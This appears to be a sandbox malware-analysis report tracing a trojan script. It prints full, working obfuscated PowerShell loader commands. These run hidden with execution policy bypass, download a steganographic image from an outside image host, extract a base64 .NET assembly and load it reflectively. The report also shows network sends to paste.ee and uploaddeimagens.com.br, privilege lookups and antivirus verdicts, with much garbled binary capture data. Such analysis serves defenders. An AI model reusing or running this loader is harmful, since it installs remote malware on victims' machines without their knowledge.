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GkQfxHzcLOqmJwQfxHzcLOqmsQfxHzcLOqmFsQfxHzcLOqmcwB0QfxHzcLOqmHIQfxHzcLOqmaQBuQfxHzcLOqmEcQfxHzcLOqmXQBbQfxHzcLOqmEMQfxHzcLOqmaQfxHzcLOqmBhQfxHzcLOqmHIQfxHzcLOqmXQQfxHzcLOqmzQfxHzcLOqmDkQfxHzcLOqmKQQfxHzcLOqmgQfxHzcLOqmHwQfxHzcLOqmLgQfxHzcLOqmgQfxHzcLOqmCgQfxHzcLOqmKQfxHzcLOqmBWQfxHzcLOqmGEQfxHzcLOqmcgBpQfxHzcLOqmEEQfxHzcLOqmYgBsQfxHzcLOqmGUQfxHzcLOqmIQfxHzcLOqmQfxHzcLOqmnQfxHzcLOqmCoQfxHzcLOqmbQBEQfxHzcLOqmHIQfxHzcLOqmKgQfxHzcLOqmnQfxHzcLOqmCkQfxHzcLOqmLgBOQfxHzcLOqmEEQfxHzcLOqmbQBFQfxHzcLOqmFsQfxHzcLOqmMwQfxHzcLOqmsQfxHzcLOqmDEQfxHzcLOqmMQQfxHzcLOqmsQfxHzcLOqmDIQfxHzcLOqmXQQfxHzcLOqmtQfxHzcLOqmGoQfxHzcLOqmTwBpQfxHzcLOqmE4QfxHzcLOqmJwQfxHzcLOqmnQfxHzcLOqmCkQfxHzcLOqm';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('QfxHzcLOqm','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
filepath: powershell
1 1 0

CreateProcessInternalW

 thread_identifier: 2808
thread_handle: 0x00000448
process_identifier: 2804
current_directory: C:\Users\test22\AppData\Local\Temp
filepath:
track: 1
command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('KQkim'+'ageUrl = Zlihttps://uploaddeimagens.com.br/images/004/654/536/original/new_image.jpg?1698957750Zli;KQkwebClient'+' = New-Object System.Net.WebClient;KQkimageBytes = KQkwebClient.DownloadData(KQkimageUrl);K'+'QkimageText = [System.Text.Encoding]::UTF8.G'+'etString(KQkimageBytes);KQkstartFlag = Zli<<BASE64_START>>Zli;KQkendFl'+'ag = Zl'+'i<<B'+'A'+'SE64_END>>Zli;KQkstartIndex = KQkimageText.IndexOf(KQkstartFlag);KQkendIndex = KQkimageText.I'+'ndexOf(K'+'QkendFlag);KQks'+'tartIndex -g'+'e 0 -and KQkendIndex'+' '+'-gt KQkstart'+'Index;KQksta'+'rtIndex += KQksta'+'rtFlag.Length;KQkbase64'+'Length = KQkendIndex - KQkstartIndex;KQkbase64Command = KQkimageText.Substring'+'(KQ'+'ks'+'tartIndex, KQkbase64Length);KQkcommandBytes = [System.Convert]::FromBase'+'64String(KQkbase64'+'Command);KQkloadedAssembly = [Syste'+'m.Reflecti'+'on.Assembly]::Load(KQkcommandBytes);KQktype = KQkloa'+'dedAssembly.GetType(ZliFiber.HomeZli);KQkmethod = KQktype.GetMe'+'th'+'od(ZliVAIZli).Invo'+'ke(KQknull, [object[]] (ZlidHh0LnNtaG9nbi95dGlzYXYvcG90LnlvY2l0aXVxZS8vOnB'+'0dGg=Zli , ZlidfdfdZli , ZlidfdfZli , ZlidfdfZli '+', ZlidadsaZli , ZlideZli , ZlicuZli))').rEplAce(([Char]75+[Char]81+[Char]107),'$').rEplAce('Zli',[strinG][Char]39) |. ((VariAble '*mDr*').NAmE[3,11,2]-jOiN'')"
filepath_r:
stack_pivoted: 0
creation_flags: 0 ()
inherit_handles: 1
process_handle: 0x0000044c
1 1 0
Avast Script:SNH-gen [Trj]
Kaspersky HEUR:Trojan.VBS.SAgent.gen
AVG Script:SNH-gen [Trj]
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

 flags: 15
family: 0
111 0
Data received [
Data received WeL'ɽ˜lªÑ¡/’gÓË= jIänürDOWNGRD pW/{Õ ü稚@Ô9ÌQ¸«‘Ì|æÍ7Ñg*núîFÀ ÿ 
Data received Q
Data received ’
Data received ŽAaè7 Ç[Ÿ`j;‰ÁÁÄÉ É}¹jö~§ E2š è!£“Íeõu§S<xù°"8òž·ïÙµ•µuni°G0E!ÁKÀªgæ6Ždìk69‰Q`“Œ DXW š*&ƒ “ÑÝ8ÖâƒÜÿK{8tÅ-¡º«ì"¥çÚTvál‚
Data received 
Data received 
Data received 
Data received 
Data received 0
Data received ðƒ… oO:\¼†jíTIÁ‘}c]šÉ»”P+—ˆì€‡ ßà%>nùKø¦’U"‘
Data sent yueL'ÀWÇùމmª=²†¬köMÁ·à¤Áß/Úy/5 ÀÀÀ À 284ÿuploaddeimagens.com.br  
Data sent FBA¶ "Ç#A¿Vjãã€1ùâü»Ü”åc>/¸±ÐhÖèd³WBc³Ë­{VÖÂö†v,wz:‚Œ´é YæNiÐ՟0Å Þ}^L¾É²ÓS?lÂ,€ÄŸwÿÍÙR+öÇ8”É™_âp(18 ð"±pó„À
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
Time & API Arguments Status Return Repeated

WSASend

 buffer: kgeL'»€GÔöérùJk~çXL§ÓM5~í]A wN/5 ÀÀÀ À 28&ÿ paste.ee  
socket: 600
0 0

WSASend

 buffer: FBAš§V$ÙÏÈo£Á06Æý²a1†Îh0p°²Ñæ€q(,OiÂüò‹˜}ˆ•Wki£gqmtühz//ˆa½;0:ô¿ þÒԁG˜)LÉܞ ƒHvçp5Gæ·¾!.sTp½r–iË«®¸g884
socket: 600
0 0

WSASend

 buffer: ÀÙS¦¨Àãñ ݑ0še!ݸŸ!2¥,¿+†ðm2´«<[L·÷Ôð{ݐ!mZDìÅó´ŽÑnzV\ŠM°ë%¸34ƒYÆZ€³¹q/eê4 ¤ L£·I2ù3h{ 1·ïïW>Ö\´AöaɍȪüBÁdA#{‡èˆÇ¢ËÑp¿ÃH´/±9Emhé˜ä„%D<x=Ž|™yƒ ×&Cfª2Ìaôe™2°­`‘¯‰\\‹¢ÉÞÈT±»µH’%ö¾â
socket: 600
0 0
Time & API Arguments Status Return Repeated

WSASend

 buffer: kgeL'»€GÔöérùJk~çXL§ÓM5~í]A wN/5 ÀÀÀ À 28&ÿ paste.ee  
socket: 600
0 0

WSASend

 buffer: FBAš§V$ÙÏÈo£Á06Æý²a1†Îh0p°²Ñæ€q(,OiÂüò‹˜}ˆ•Wki£gqmtühz//ˆa½;0:ô¿ þÒԁG˜)LÉܞ ƒHvçp5Gæ·¾!.sTp½r–iË«®¸g884
socket: 600
0 0

WSASend

 buffer: ÀÙS¦¨Àãñ ݑ0še!ݸŸ!2¥,¿+†ðm2´«<[L·÷Ôð{ݐ!mZDìÅó´ŽÑnzV\ŠM°ë%¸34ƒYÆZ€³¹q/eê4 ¤ L£·I2ù3h{ 1·ïïW>Ö\´AöaɍȪüBÁdA#{‡èˆÇ¢ËÑp¿ÃH´/±9Emhé˜ä„%D<x=Ž|™yƒ ×&Cfª2Ìaôe™2°­`‘¯‰\\‹¢ÉÞÈT±»µH’%ö¾â
socket: 600
0 0

send

 buffer: yueL'ÀWÇùމmª=²†¬köMÁ·à¤Áß/Úy/5 ÀÀÀ À 284ÿuploaddeimagens.com.br  
socket: 1440
sent: 126
1 126 0

send

 buffer: FBA¶ "Ç#A¿Vjãã€1ùâü»Ü”åc>/¸±ÐhÖèd³WBc³Ë­{VÖÂö†v,wz:‚Œ´é YæNiÐ՟0Å Þ}^L¾É²ÓS?lÂ,€ÄŸwÿÍÙR+öÇ8”É™_âp(18 ð"±pó„À
socket: 1440
sent: 134
1 134 0

WSASend

 buffer: GET /roots/dstrootcax3.p7c HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: apps.identrust.com
socket: 2028
0 0
parent_process powershell.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('KQkim'+'ageUrl = Zlihttps://uploaddeimagens.com.br/images/004/654/536/original/new_image.jpg?1698957750Zli;KQkwebClient'+' = New-Object System.Net.WebClient;KQkimageBytes = KQkwebClient.DownloadData(KQkimageUrl);K'+'QkimageText = [System.Text.Encoding]::UTF8.G'+'etString(KQkimageBytes);KQkstartFlag = Zli<<BASE64_START>>Zli;KQkendFl'+'ag = Zl'+'i<<B'+'A'+'SE64_END>>Zli;KQkstartIndex = KQkimageText.IndexOf(KQkstartFlag);KQkendIndex = KQkimageText.I'+'ndexOf(K'+'QkendFlag);KQks'+'tartIndex -g'+'e 0 -and KQkendIndex'+' '+'-gt KQkstart'+'Index;KQksta'+'rtIndex += KQksta'+'rtFlag.Length;KQkbase64'+'Length = KQkendIndex - KQkstartIndex;KQkbase64Command = KQkimageText.Substring'+'(KQ'+'ks'+'tartIndex, KQkbase64Length);KQkcommandBytes = [System.Convert]::FromBase'+'64String(KQkbase64'+'Command);KQkloadedAssembly = [Syste'+'m.Reflecti'+'on.Assembly]::Load(KQkcommandBytes);KQktype = KQkloa'+'dedAssembly.GetType(ZliFiber.HomeZli);KQkmethod = KQktype.GetMe'+'th'+'od(ZliVAIZli).Invo'+'ke(KQknull, [object[]] (ZlidHh0LnNtaG9nbi95dGlzYXYvcG90LnlvY2l0aXVxZS8vOnB'+'0dGg=Zli , ZlidfdfdZli , ZlidfdfZli , ZlidfdfZli '+', ZlidadsaZli , ZlideZli , ZlicuZli))').rEplAce(([Char]75+[Char]81+[Char]107),'$').rEplAce('Zli',[strinG][Char]39) |. ((VariAble '*mDr*').NAmE[3,11,2]-jOiN'')"
parent_process wscript.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 